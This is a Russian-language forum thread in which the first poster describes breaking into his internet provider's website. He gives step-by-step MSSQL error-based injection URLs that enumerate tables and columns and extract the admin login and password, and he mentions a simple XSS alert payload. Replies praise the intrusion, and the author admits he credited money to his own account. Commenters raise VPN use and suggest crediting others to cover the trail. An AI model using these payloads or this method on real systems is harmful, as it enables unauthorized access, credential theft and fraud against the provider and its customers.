![]() |
MSSQL-injection
Вступление
Сидел я дома, скучно, решил поискать баги на сайте своего прова. Нашёл несколько бестолковых XSS но для прова довольно глупых, на странице входа в свой счёт в форме ввода пароля срабатывал простейший код алерта: Код:
<script>alert()<script>Нашёл MSSQL-Injection, но так как я не особо в этом шарил прочитал статью, спросил на форуме (gadjet'y спасибо). И начал копать... Реализация MSSQL-инъекции Для начала мне надо было знать имена таблиц в базе данных, для этого выполним следующий запрос, который возвратит нам имя первой таблицы: Код:
http://sait-prova.ru/?page_id=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)--Код:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'Далее чтобы узнать имя второй таблицы, выполняем следующий запрос: Код:
http://sait-prova.ru/?page_id=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(''DAYS_SERV_ORD_PAY_BAL'))--Код:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'Чтобы узнать имя третей таблицы выполняем следующий запрос Код:
http://sait-prova.ru/?page_id=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(''DAYS_SERV_ORD_PAY_BAL','X_Count_Of_Jeo_Modems'))--После того как я узнал имена где т 40 таблиц, и не нашёл нужной мне таблицы, решил попробовать следующий запрос: Код:
http://sait-prova.ru/?page_id=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+LIKE+'%25login%25')--Запрос вернул мне следующее: Код:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'Срипт возвратил мне следующее: Код:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'Код:
http://sait-prova.ru/?page_id=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='admin')--Код:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'Код:
http://sait-prova.ru/?page_id=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='admin'+AND+COLUMN_NAME+NOT+IN+('login'))--Код:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'Код:
error '80020009'Выполним запрос который вернёт нам логин админа: Код:
http://sait-prova.ru/?page_id=(SELECT+TOP+1+Login+FROM+admin)--Код:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'Теперь узнаём пароль, запрос следующий: Код:
(UNION+SELECT+TOP+1+admin_password+FROM+admin)--Код:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'Ну вот собственно и всё. Спасибо gadjet'y за помощь. |
Денег то на счёт накинул? =)
Молодца! Круть! |
есессьно)))
|
дурак ты нечего сказать.. ломать прова самое последнее дело... ты хоть впн юзал?
|
ZaCo, уж поверь о своей безопасности я позаботился)
|
Молодец конечно ... но если тебя на форуме не станет через день другой - то все читавшие эту тему будут знать что могло случится ...
|
Цитата:
Хорошая статья. Тока, если мне не изменяет память, я пробовал запрос WHERE+TABLE_NAME+LIKE+'%25admin%25' )-- , и ничего не вылезло... А может быть и нет, я, честно говоря, уже подзабыл. P.S Подкинули бы, что-ли, и к моей репе плюсиков, не зря же я ему помогал. |
Цитата:
|
На сколько я знаю, последний запрос должен был бы быть селект пассворд вром админ вэа логин = админ_логин. Но все ранво забавно.
P.s. Я бы на всякий случай еще человекам 10 подкинул лавэ, чтобы искать сложнее было. ;) P.P.S А почему не было юнионов в первых запросах? :))) |
Деньги я подкинул только себе, и только один раз! больше не буду, и подумываю над тем, чтобы сообщит админам о дыре найденой!
|
| Время: 09:21 |